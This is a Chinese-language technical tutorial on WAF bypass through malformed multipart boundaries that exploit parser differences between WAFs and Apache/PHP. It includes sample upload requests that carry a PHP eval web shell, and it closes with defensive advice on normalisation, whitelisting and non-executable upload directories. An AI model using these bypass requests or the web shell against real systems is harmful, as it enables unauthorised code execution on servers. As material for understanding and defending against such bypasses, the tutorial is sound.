PHP + Apache 畸形 Boundary 绕过详解

技术原理

这种绕过的核心在于利用 WAF/防护设备Apache Web服务器 和 PHP解析引擎 三者对 multipart/form-data 请求中 Content-Type 头部的 boundary 分隔符解析存在差异:

  1. WAF:通常严格按照 RFC 标准解析 boundary,认为它必须是特定的字符串。

  2. Apache HTTP Server:作为中间层,它的解析器相对宽松。

  3. PHP:在解析 multipart 数据时非常宽容,会尝试各种方式提取边界和字段。

攻击者就是制造一个 WAF 无法正确识别 boundary,但 Apache/PHP 却能成功解析 的请求,从而让恶意文件载荷"隐身"绕过检测。


具体的畸形 Boundary 手法

以下是一些已被公开证明有效的技术:

1. 在 Boundary 前插入换行符 (Line Feed)
  • 手法:在 boundary= 之后、实际的边界字符串之前插入一个换行符(%0a)。

  • 原理:WAF 可能期望 boundary= 后面紧跟着边界字符串。插入换行符会破坏 WAF 的解析,导致其无法正确识别整个请求体各部分的分界,从而跳过对文件内容的检测。而 Apache/PHP 能够容忍这种格式并成功解析。

  • 示例

http

POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=%0a----WebKitFormBoundaryABC123
Content-Length: xxx

--%0a----WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
--%0a----WebKitFormBoundaryABC123--
2. 在 Boundary 中插入空格或引号
  • 手法:在 boundary 字符串内部插入空格、双引号等特殊字符。

  • 原理:WAF 可能将空格或引号视为 boundary 的结束,导致其提取的 boundary 与实际请求体中使用的 boundary 不一致,无法正确分割 parts。而 PHP 的解析器会忽略这些字符或采用更灵活的方式匹配。

  • 示例

http

Content-Type: multipart/form-data; boundary="----WebKitFormBoundaryABC123"

http

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC 123

然后在请求体中依然使用 ----WebKitFormBoundaryABC123

3. 修改 Boundary 字符串的大小写
  • 手法:在 Content-Type 头部中声明的 boundary 与请求体中实际使用的 boundary 大小写不同。

  • 原理:WAF 在进行字符串匹配时可能是大小写敏感的,而 Apache/PHP 的解析器可能是大小写不敏感的。

  • 示例

http

Content-Type: multipart/form-data; boundary=----webkitformboundaryabc123
...
----WEBKITFORMBOUNDARYABC123
Content-Disposition: form-data; name="file"; filename="shell.php"
...
4. 双 Boundary 声明
  • 手法:在 Content-Type 头部中重复声明 boundary 参数。

  • 原理:WAF 可能只读取第一个 boundary 的值,而 PHP 可能会读取最后一个。这导致 WAF 和服务器对请求体结构的理解出现偏差。

  • 示例

http

Content-Type: multipart/form-data; boundary=NormalBoundary; boundary=MalformedBoundary
...
--MalformedBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
...

WAF 使用 NormalBoundary 来解析请求体,但找不到对应的结构,可能直接放行。而 PHP 使用 MalformedBoundary,成功解析出上传的文件。

5. 使用非 ASCII 字符或超长 Boundary
  • 手法:在 boundary 中使用 Unicode 字符,或者设置一个非常长的 boundary 字符串。

  • 原理:WAF 的解析器可能无法正确处理非 ASCII 字符,或者对字符串长度有限制,超长字符串可能导致其解析失败。而 PHP 通常能很好地处理这些情况。

  • 示例

http

Content-Type: multipart/form-data; boundary=----🍣WebKitFormBoundarySushiTest

http

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123VeryLongString...(数百个字符)

防御建议

对于防御者而言,应对这种绕过需要多层防御:

  1. WAF 层面

    • 选择能够模拟后端解析行为的下一代 WAF。

    • WAF 应该对 multipart 请求进行规范化后再进行规则匹配,例如去除多余的换行符、统一大小写、处理重复头部等。

    • 实施严格的协议一致性检查,直接拒绝明显畸形的请求。

  2. 服务器配置层面

    • 保持 Apache 和 PHP 的最新版本,已知的解析差异可能在后续版本中被修复。

    • 可以考虑使用 ModSecurity 等具有更强解析能力的 WAF 模块,它与 Apache 集成更深,能减少解析差异。

  3. 应用代码层面(根本解决方案)

    • 文件上传功能:不要只依赖 WAF。在应用代码中实施严格的白名单验证:

      • 文件扩展名白名单:只允许 .jpg.png.pdf 等业务必需的类型。

      • MIME 类型检查:检查 $_FILES['file']['type'],但不可完全信任。

      • 文件内容检测:使用 getimagesize() 验证图片文件真实性,或进行病毒扫描。

      • 重命名文件:保存时使用随机生成的文件名,并去掉原扩展名,或强制改为安全扩展名。

      • 设置隔离的存储目录:确保上传目录没有执行权限,脚本文件即使上传也无法运行。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐